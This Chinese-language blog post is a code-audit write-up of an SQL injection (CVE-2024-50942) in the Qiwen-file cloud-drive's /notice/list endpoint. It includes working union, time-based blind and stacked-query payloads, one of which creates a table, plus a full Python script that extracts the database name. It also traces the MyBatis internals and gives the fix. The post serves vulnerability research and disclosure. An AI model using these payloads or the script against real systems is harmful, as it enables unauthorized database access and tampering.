Java代码审计实战-1

本文最后更新于:2025年6月29日 上午

Java代码审计:奇文网盘-SQL注入漏洞(CVE-2024-50942)

A SQLInjection In Qiwen-file

环境搭建

应用官网:奇文社区,存在许多开源软件

Github寻找开源仓库,奇文网盘

直接git clone整个项目到本地,然后用IDEA打开,等待配置加载完成即可。该项目使用了MySQL数据库,通过JPA在程序运行时自动创建数据库。首先确保项目能够运行,可能会出现一些报错,比如文件编码、jdk版本、配置文件、依赖包未导入等待问题,需要自己解决。

这里我只导入了其后端项目,没有必要运行前端,直接测试接口即可。

审计

对于一个采用Maven打包的项目来说,首先应该看pom.xml文件,是否存在不安全的依赖包。

存在mybatis-plus依赖,找一找是否存在SQL注入,关键字$,漏洞原理这里不提,自行了解。

IDEA全局搜索:Edit->Find->Find in Files

查找到唯一一处存在$且在.xml映射文件中的地方,

那就是从这里入手,分析一下后端处理逻辑:

控制层:/notice/list,GET方法,传参的话可以只填title

服务层:selectUserPage,写的很简单,没有进行过滤,直接将传输对象作为查询内容,MyBatis会自动映射字段

下面进行注入测试,在配置文件中添加调试输出:

1
mybatis-plus.configuration.log-impl=org.apache.ibatis.logging.stdout.StdOutImpl

然后构造请求包,先注入一个'

1
2
3
4
5
6
7
8
9
10
11
GET /notice/list?title=%27 HTTP/1.1
Host: x.x.x.x:32145
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
content-type: application/json
Connection: close

服务端爆500,

调试日志中会输出预编译的语句和报错信息:

可以发现确实存在SQL注入,已经使用编译完后的语句去访问数据库才报的错

在发现SQL注入点时,为了节省时间,一般选用sqlmap一把梭,但是这里sqlmap打不出来,所有我采用了手注。

使用payload:'-- ,未报错:

'union/**/select/**/database()-- ,报错,发现SQL执行语句发生了变化,可能是使用了分页查找,这里统计个数,看报错信息,少了一个)

加上,还是报错,拿去SQL脚本执行一下,这里采用了多级查询,多级查询的过程中,会需要给表一个别名

改造payload:)换个位置,然后取个别名

')as/**/total/**/union/**/select/**/database()--

此时完整的sql语句为:

1
SELECT COUNT(*) FROM (select * from notice WHERE platform = 3 and title like '%')as/**/total/**/union/**/select/**/database()-- %' order by createTime desc) TOTAL

已经在sql脚本中可以正常执行:

但是在服务端中还是无法正常执行,这就很奇怪,已经输出了正常的预编译语句,在sql脚本中也可以执行,那问题出在哪

思考一下,什么情况下-- %' order by createTime desc编译器认为没错,)TOTAL有错呢,不妨看看下面这样:

对,就是换行,所以现在情况是无论如何,这个sql语句都会报错,因为我们无法控制写死的换行。

那接下来怎么办呢,其实很好解决,想一想,平时在mysql中写sql语句的时候,你不小心输入了一个换行符,是不是并没有立即执行,需要一个;来结尾,这个sql语句才算写完了。那么在这里,添加一个;-- %' order by createTime desc前面的语句能否执行呢,答案是可以的。

此时的payload:')as/**/total/**/union/**/select/**/database();--

发现还是报错,但是如我们所料,报错的位置变了,前面的sql语句已经闭合,

前面已经提到了,永远都会报错,没法回显,那只能使用盲注试试到底能否执行sql语句,

payload:

1
')/**/AS/**/total/**/UNION/**/(SELECT/**/5211/**/FROM/**/(SELECT/**/IF(SUBSTRING(DATABASE(),1,1)='f',SLEEP(5),0))/**/AS/**/delay);

然后发现响应延时了,说明这里确实会执行一条完整的语句,下面是mysql的日志:

这里埋坑,为什么报错了还会执行闭合的sql语句,分析在后续Mybatis底层源码调试部分。

Exp

时间盲注读数据库名脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time

url = "http://x.x.x.x:32145/notice/list?title="

headers = {
'User-Agent': 'Mozilla/5.0'
}
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

def inject_payload(position, char):
payload = f"')/**/AS/**/total/**/UNION/**/(SELECT/**/5211/**/FROM/**/(SELECT/**/IF(SUBSTRING(DATABASE(),{position},1)='{char}',SLEEP(5),0))/**/AS/**/delay);"

params = {'title': payload}

start_time = time.time()
response = requests.get(url, params=params, headers=headers)
elapsed_time = time.time() - start_time

# Check if the server response was delayed
if elapsed_time > 5:
return True
return False

def get_database_name():
database_name = ""
for position in range(1, 50):
for char in characters:
if inject_payload(position, char):
database_name += char
print(f"Found character '{char}' at position {position}")
break
else:
break
return database_name

# Start the blind injection attack
database_name = get_database_name()
print(f"The database name is: {database_name}")

效果:

既然可以通过;来闭合语句,自然想到堆叠注入,但是这里没法回显,只能createdrop等等操作,也是很危险的操作:

这里试着创建一个test表:

')as/**/total/**/union/**/select/**/database();create/**/table/**/test(birthdate/**/DATE);--%20

虽然服务端报500错误,但是执行了

可以在数据库中看到这个新建的表:

后续利用这里就不说了,主要漏洞是SQL注入。

Mybatis底层源码调试

漏洞出现的表层原因是没有进行预编译就直接拼接用户输入,那为什么框架还会提示SQL语法错误却又奇迹般地执行了闭合的sql语句呢?

这需要调试底层源码了,该项目使用的是MP,不影响,底层仍然是Mybatis。

构造一个payload:')as/**/total/**/union/**/select/**/database();,发包访问一下,服务端报错,通过报错的地方去下断点分析:

注意函数都是压栈,所以最下层的函数最先调用:

先在DefaultSqlSession.java的151行位置打个断点,然后启动Debug,发包进入断点,这里会首先进行一次成功的SQL查询,直接放掉,从第二次报错的SQL查询开始调试,

快速步进,这里进入了一次Cache查询,当然缓存中是没有的,

之后进入到一次正常的查询:

随后就是对语句的预处理,进行QueryInfo类的实例化

正常进入QueryInfo.getQueryReturnType()

QueryInfo.QueryInfo(String sql, Session session, String encoding)

正常执行到ClientPreparedStatement实例化完成,没有任何报错,此时预处理已经完成

后续会调用SimpleExecutor.doQuery(),进行SQL语句的执行:

后续进入代理预处理语句,

一直运行到NativeSession.execSQL,到这里已经进入com.mysql.cj包了,说明MyBatis这个版本没有进行任何检查

进入NativeProtocol.sendQueryPacket,其中有一个很重要的方法sendCommand,当它执行过后就说明我们的SQL语句已经发送至数据库,等待数据库响应结果了,可以看到其后面就是在就算访问时间差和处理返回结果

分析到这里就完全清楚了,MyBatis完全没有进行检查,当然这不是必须的,因为这是开发者的疏忽,采用#进行预编译即可解决。

报错是因为SQL语句确实有错,%' order by createTime desc就是一个错误语句,其前面的语句是正常执行了的,然后错误层层抛出,然后被Spring框架捕捉,才会有另一层的函数调用,这都不重要了。

到这里,就解释清楚了,为什么会产生堆叠注入。由于无法回显,攻击手法也可以采用时间盲注。


Java代码审计实战-1
https://3xsh0re.github.io/2024/10/11/Java代码审计实战-1/
作者
3xsh0re
发布于
2024年10月11日
许可协议